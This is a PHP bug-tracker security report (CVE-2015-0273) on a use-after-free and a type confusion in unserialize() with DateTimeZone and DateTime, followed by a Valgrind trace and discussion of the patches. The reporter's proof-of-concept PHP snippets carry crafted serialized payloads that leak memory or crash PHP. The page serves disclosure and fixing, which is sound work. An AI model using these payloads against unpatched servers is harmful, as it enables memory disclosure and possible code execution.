php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68942 Use after free vulnerability in unserialize() with DateTimeZone
Submitted: 2015-01-29 07:20 UTC Modified: 2015-02-27 06:04 UTC
From: taoguangchen at icloud dot com Assigned: derick
Status: Closed Package: Date/time related
PHP Version: 5.4.37 OS: *
Private report: No CVE-ID: 2015-0273
 [2015-01-29 07:20 UTC] taoguangchen at icloud dot com
Description:
------------
I. Use after free vulnerability

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;

	if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

The following code should leak arbitrary memory:

<?php

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:2:{i:0;i:1;i:1;i:2;}s:8:"timezone";s:1:"A";}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);
?>

II. Type confusion vulnerability

Z_STRVAL_PP leads to various problems.

The following code should crash PHP:

<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:1;}');

?>


Patches

patch-master (last revision 2015-02-01 06:58 UTC) by stas@php.net)
patch-5.5 (last revision 2015-02-01 06:56 UTC) by stas@php.net)
patch-5.4 (last revision 2015-02-01 06:48 UTC) by stas@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-01-29 07:30 UTC] taoguangchen at icloud dot com
Result(test on MAMP with PHP 5.6.5):

array(2) { [0]=> object(DateTimeZone)#1 (2) { ["timezone_type"]=> int(2) ["timezone"]=> string(1) "A" } [1]=> string(1024) "3t-�PQ,0�����u�P��ck~�5�2C��b"�R�����v�[S+��P��|;��96%�� �����l��T<[TF��a�4�z�C" }
 [2015-01-29 11:36 UTC] laruence@php.net
-Assigned To: +Assigned To: derick
 [2015-01-29 11:36 UTC] laruence@php.net
-Status: Assigned +Status: Open
 [2015-01-29 11:41 UTC] taoguangchen at icloud dot com
-Status: Assigned +Status: Open
 [2015-01-29 11:41 UTC] taoguangchen at icloud dot com
The same problem also exists unserialize() with DateTime, DateInterval and DatePeriod.

static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)
{
	zval             *z_date;
	zval             *z_timezone;
	zval             *z_timezone_type;
	zval              tmp_obj;
	timelib_tzinfo   *tzi;
	php_timezone_obj *tzobj;

	z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
	if (z_date) {
		convert_to_string(z_date);
		z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1);
		if (z_timezone_type) {
			convert_to_long(z_timezone_type);
			z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
			if (z_timezone) {
				convert_to_string(z_timezone);
...

The following code should leak arbitrary memory:

<?php

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:8:"DateTime":3:{s:4:"date";s:26:"2000-01-01 00:00:00.000000";s:13:"timezone_type";a:2:{i:0;i:1;i:1;i:2;}s:8:"timezone";s:1:"A";}i:1;R:5;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);
?>
 [2015-01-29 12:45 UTC] taoguangchen at icloud dot com
Type Confusion Infoleak Vulnerability PoC:

<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896}');

?>

Result:
//Work on MacOSX 10.10.2 installation of PHP 5.5.14

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test/test.php
Process 889 launched: '/usr/bin/php' (x86_64)

Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (UH??AWAVAUATSH??8) in /test/test.php on line 2
Process 889 exited with status = 0 (0x00000000)
 [2015-02-01 06:32 UTC] stas@php.net
-Operating System: +Operating System: * -PHP Version: 5.6.5 +PHP Version: 5.4.37
 [2015-02-01 06:32 UTC] stas@php.net
Valgrind confirms the issue for 5.4 and up:

  ==73110== Invalid read of size 1
==73110==    at 0x100450699: php_var_dump (in ./cliphp)
==73110==    by 0x100451076: php_array_element_dump (in ./cliphp)
==73110==    by 0x1005C3040: zend_hash_apply_with_arguments (in ./cliphp)
==73110==    by 0x100450D70: php_var_dump (in ./cliphp)
==73110==    by 0x1004512E5: zif_var_dump (in ./cliphp)
==73110==    by 0x1006BE238: zend_do_fcall_common_helper_SPEC (in ./cliphp)
==73110==    by 0x10063D127: ZEND_DO_FCALL_SPEC_CONST_HANDLER (in ./cliphp)
==73110==    by 0x1005EFF39: execute (in ./cliphp)
==73110==    by 0x1005AE29A: zend_execute_scripts (in ./cliphp)
==73110==    by 0x100508F1E: php_execute_script (in ./cliphp)
==73110==    by 0x1007170D2: do_cli (in ./cliphp)
==73110==    by 0x100715E49: main (in ./cliphp)
==73110==  Address 0x101345bf4 is 20 bytes inside a block of size 32 free'd
==73110==    at 0x6AEF: free (in /Users/smalyshev/brew/Cellar/valgrind/3.10.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==73110==    by 0x10057028F: _efree (in ./cliphp)
==73110==    by 0x100593E70: _zval_ptr_dtor (in ./cliphp)
==73110==    by 0x1005C266D: zend_hash_destroy (in ./cliphp)
==73110==    by 0x1005AA0FF: _zval_dtor_func (in ./cliphp)
==73110==    by 0x10059E3BC: convert_to_long_base (in ./cliphp)
==73110==    by 0x10059E69C: convert_to_long (in ./cliphp)
==73110==    by 0x10000CA5F: php_date_initialize_from_hash (in ./cliphp)
==73110==    by 0x100006AED: zim_DateTime___wakeup (in ./cliphp)
==73110==    by 0x100597BCA: zend_call_function (in ./cliphp)
==73110==    by 0x10059674B: call_user_function_ex (in ./cliphp)
==73110==    by 0x10047738B: object_common2 (in ./cliphp)

etc. Will post the fix proposal soon.
 [2015-02-01 06:48 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: patch-5.4
Revision:   1422773336
URL:        https://bugs.php.net/patch-display.php?bug=68942&patch=patch-5.4&revision=1422773336
 [2015-02-01 06:56 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: patch-5.5
Revision:   1422773779
URL:        https://bugs.php.net/patch-display.php?bug=68942&patch=patch-5.5&revision=1422773779
 [2015-02-01 06:58 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: patch-master
Revision:   1422773938
URL:        https://bugs.php.net/patch-display.php?bug=68942&patch=patch-master&revision=1422773938
 [2015-02-17 07:11 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-02-17 07:11 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-02-18 05:37 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2015-0273
 [2015-02-18 05:37 UTC] remi@php.net
Please use: CVE-2015-0273 php: #68942 Use after free vulnerability in
unserialize() with DateTimeZone
 [2015-02-18 10:40 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c377f1a715476934133f3254d1e0d4bf3743e2d2
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 [2015-02-18 10:40 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=51cd5a1d09ce3dd3027eace601661a2bc5745851
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 [2015-02-18 20:02 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=71335e6ebabc1b12c057d8017fd811892ecdfd24
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 [2015-02-26 22:31 UTC] luigiwalser at yahoo dot com
What about part II of the original bug report?  Quoted here:
"II. Type confusion vulnerability
Z_STRVAL_PP leads to various problems.
The following code should crash PHP:
<?php
$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:1;}');
?>"

That wasn't fixed.  Is that considered a different issue, was it overlooked, is it not a bug, or something else?
 [2015-02-27 00:32 UTC] taoguangchen at icloud dot com
-Status: Closed +Status: Assigned
 [2015-02-27 00:32 UTC] taoguangchen at icloud dot com
It is a bug, and i think it is a security issue. 

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
...
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
...
static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char *tz TSRMLS_DC)
{
	timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
	int           dst, not_found;
	char         *orig_tz = tz;

	dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, &not_found, DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
	if (not_found) {
		php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);
		efree(dummy_t);
		return FAILURE;

The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory address, and outputing a string via an warning level error message that start from this memory address.
If the memory address is an invalid memory position, it should result in a crash.

In the BUG report, I wrote a number of use after free bugs, and this type confusion infoleak bug, but the latest patch is not completely solved these bugs, another unfixed bug I had reported in another BUG report, I hope you can read my report carefully, and really fix them.
 [2015-02-27 06:04 UTC] taoguangchen at icloud dot com
-Status: Assigned +Status: Closed
 [2015-02-27 06:04 UTC] taoguangchen at icloud dot com
The fix for this type confusion bug has been committed.
 [2015-11-11 15:28 UTC] bshastry at sec dot t-labs dot tu-berlin dot de
Just curious: Was a CVE assigned to the type-confusion exploit part of the bug? I see that there is one for the use-after-free part.
 [2016-07-20 11:39 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=625ab10f990911fb474430ac7c83dfaea13346dd
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Fri Apr 28 10:01:38 2017 UTC